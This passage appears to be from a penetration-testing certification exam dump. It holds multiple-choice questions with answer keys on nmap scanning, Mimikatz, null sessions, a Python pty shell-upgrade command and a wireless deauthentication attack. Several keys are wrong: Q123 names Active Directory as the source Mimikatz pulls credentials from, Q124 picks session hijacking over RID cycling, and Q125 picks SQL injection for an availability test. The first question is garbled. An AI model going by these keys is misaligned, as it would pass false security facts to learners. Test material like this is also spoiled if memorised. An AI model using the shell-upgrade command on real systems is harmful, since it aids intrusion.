nmap 100.100/1/0-125

Which of the following commands would be BEST to return results?

- A.**
nmap -Pn -sT 100.100.1.0-125
- B.**
nmap -sF -p 100.100.1.0-125
- C.**
nmap -sV -oA output 100.100.10-125
- D.**
nmap 100.100.1.0-125 -T4

Answer: A

Explanation:

QUESTION NO: 122

For which of the following reasons does a penetration tester need to have a customer's point-of-contact information available at all times? (Choose three.)

- A.**
To report indicators of compromise
- B.**
To report findings that cannot be exploited
- C.**
To report critical findings
- D.**
To report the latest published exploits
- E.**
To update payment information
- F.**
To report a server that becomes unresponsive
- G.**
To update the statement of work
- H.**
To report a cracked password

Answer: A,C,F

Explanation:

QUESTION NO: 123

Joe, a penetration tester, has received basic account credentials and logged into a Windows system. To escalate his privilege, from which of the following places is he using Mimikatz to pull credentials?

- A.**
LSASS
- B.**
SAM database
- C.**
Active Directory
- D.**
Registry

Answer: C

Explanation:

QUESTION NO: 124

A tester has determined that null sessions are enabled on a domain controller. Which of the following attacks can be performed to leverage this vulnerability?

- A.**
RID cycling to enumerate users and groups
- B.**
Pass the hash to relay credentials
- C.**
Password brute forcing to log into the host
- D.**
Session hijacking to impersonate a system account

Answer: D

Explanation:

QUESTION NO: 125

A client is asking a penetration tester to evaluate a new web application for availability. Which of the following types of attacks should the tester use?

- A.**
TCP SYN flood
- B.**
SQL injection
- C.**
XSS
- D.**
XMAS scan

Answer: B

Reference: <https://www.softwaretestinghelp.com/getting-started-with-web-application-penetration-testing/>

QUESTION NO: 126

A penetration tester runs the following from a compromised 'python -c '
import pty;pty.spawn ("/bin/bash") '. Which of the following actions are the tester taking?

- A.**
Removing the Bash history
- B.**
Upgrading the shell
- C.**
Creating a sandbox
- D.**

Capturing credentials

Answer: B

Reference: <https://schu.media/2017/08/05/using-reverse-shell-to-get-access-to-your-server/>

QUESTION NO: 127

A vulnerability scan identifies that an SSL certificate does not match the hostname; however, the client disputes the finding. Which of the following techniques can the penetration tester perform to adjudicate the validity of the findings?

A.

Ensure the scanner can make outbound DNS requests.

B.

Ensure the scanner is configured to perform ARP resolution.

C.

Ensure the scanner is configured to analyze IP hosts.

D.

Ensure the scanner has the proper plug -ins loaded.

Answer: A

Explanation:

QUESTION NO: 128

A penetration tester is attempting to capture a handshake between a client and an access point by monitoring a WPA2-PSK secured wireless network. The tester is monitoring the correct channel for the identified network, but has been unsuccessful in capturing a handshake. Given the scenario, which of the following attacks would BEST assist the tester in obtaining this handshake?

A.

Karma attack

B.

Deauthentication attack

C.

Fragmentation attack

D.

SSDI broadcast flood

Answer: B

Explanation: